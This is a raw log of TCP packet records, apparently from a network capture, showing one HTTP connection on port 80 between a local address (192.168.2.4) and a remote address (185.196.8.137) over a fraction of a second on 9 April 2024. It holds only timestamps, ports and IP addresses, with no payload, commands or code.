Apr 9, 2024 14:54:00.944654942 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.944664955 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.944670916 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.944677114 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.944698095 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.944710016 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.944725037 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.944751024 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.944751978 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.944765091 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.944776058 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.944794893 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.944809914 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.944829941 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.944871902 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.944885969 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.944896936 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.944905996 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.944936037 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.944942951 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.944953918 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.944961071 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.944992065 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.945025921 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.945036888 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.945044994 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.945056915 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.945071936 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.945087910 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.945099115 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.945118904 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.945137024 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.945154905 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.945168018 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.945226908 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.945247889 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.945261002 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.945302963 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.945319891 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.945354939 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.945393085 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.945403099 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.945422888 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.945460081 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.945467949 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.945488930 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.945542097 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.945552111 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.945561886 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.945596933 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.945600033 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.945612907 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.945652962 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.945657015 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.945666075 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.945676088 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.945687056 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.945698977 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.945712090 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.945744991 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.945755005 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.945770979 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.945781946 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.945800066 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.945832014 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.945832968 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.945846081 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.945856094 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.945871115 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.945880890 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.945919037 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.945919037 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.945931911 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.945951939 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.945971012 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.945985079 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.945997000 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.946038961 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.946047068 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.946058989 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.946079016 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.946093082 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.946110964 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.946119070 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.946166992 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.946178913 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.946190119 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.946238041 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.946249962 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.946258068 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.946258068 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.946341038 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.946352005 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.946363926 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.946367979 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.946377039 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.946388006 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.946398020 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.946403027 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.946419001 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.946430922 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.946456909 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.946458101 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.946501970 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.946532011 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.946543932 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.946626902 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.946647882 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.946669102 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.946721077 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.946728945 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.946762085 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.946810007 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.946816921 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.946855068 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.946894884 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.121625900 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.121648073 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.121661901 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.121711016 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.121723890 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.121758938 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.121759892 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.121774912 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.121819019 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.121828079 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.121840000 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.121851921 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.121864080 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.121871948 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.121897936 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.121903896 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.121917009 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.121938944 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.121953964 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.122009993 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.122023106 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.122034073 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.122068882 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.122072935 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.122096062 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.122164011 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.122176886 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.122231960 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.122250080 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.122263908 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.122273922 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.122298002 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.122323990 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.122334003 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.122351885 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.122363091 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.122374058 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.122385025 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.122397900 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.122400045 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.122421026 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.122431040 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.122442961 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.122466087 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.122507095 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.122535944 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.122548103 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.122554064 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.122577906 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.122591019 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.122603893 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.122615099 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.122629881 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.122644901 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.122675896 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.122689009 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.122706890 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.122718096 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.122729063 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.122740984 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.122741938 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.122754097 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.122757912 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.122776985 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.122802019 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.122814894 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.122828960 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.122863054 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.122883081 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.122966051 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.122977972 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.122989893 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.123002052 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.123024940 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.123054028 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.123059988 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.123073101 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.123126030 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.123151064 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.123162985 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.123197079 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.123202085 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.123296022 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.123369932 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.123411894 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.123477936 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.123517990 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.123543978 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.123605013 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.123739958 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.123780966 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.123806953 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.123847008 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.123893976 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.123944998 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.123956919 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.123996973 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.124015093 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.124053955 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.124080896 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.124274969 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.124341011 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.124345064 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.124358892 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.124408007 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.124475002 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.124531984 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.124604940 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.124646902 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.124664068 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.124690056 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.124700069 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.124757051 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.124769926 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.124777079 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.124834061 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.124856949 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.124870062 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.124881983 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.124923944 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.124928951 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.124972105 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.124995947 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.125010014 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.125020981 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.125032902 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.125051975 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.125072002 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.125087976 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.125158072 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.125169992 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.125181913 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.125193119 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.125197887 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.125227928 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.125262022 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.125274897 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.125286102 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.125298023 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.125300884 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.125318050 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.125329018 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.125349998 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.125361919 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.125375032 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.125425100 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.125427008 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.125441074 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.125508070 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.125525951 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.125536919 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.125561953 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.125569105 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.125582933 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.125629902 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.125631094 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.125654936 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.125706911 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.125725985 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.125742912 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.125752926 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.125786066 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.125833988 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.125864029 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.125874996 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.125875950 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.125910044 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.125976086 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.126012087 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.126035929 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.126049995 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.126063108 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.126101971 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.126121044 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.126133919 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.126146078 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.126163006 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.126188993 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.126197100 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.126203060 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.126224995 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.126236916 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.126245022 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.126249075 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.126287937 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.126313925 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.126327038 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.126338005 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.126349926 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.126355886 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.126363039 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.126389027 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.126414061 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.126435995 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.126450062 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.126461983 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.126491070 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.126516104 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.126558065 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.126574993 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.126629114 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.126692057 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.126738071 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.126799107 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.126837015 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.126842976 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.126851082 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.126887083 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.127027988 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.127110004 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.127125978 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.127146959 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.127167940 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.127182007 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.127208948 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.127232075 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.127244949 CEST	80	49739	185.196.8.137	192.168.2.4
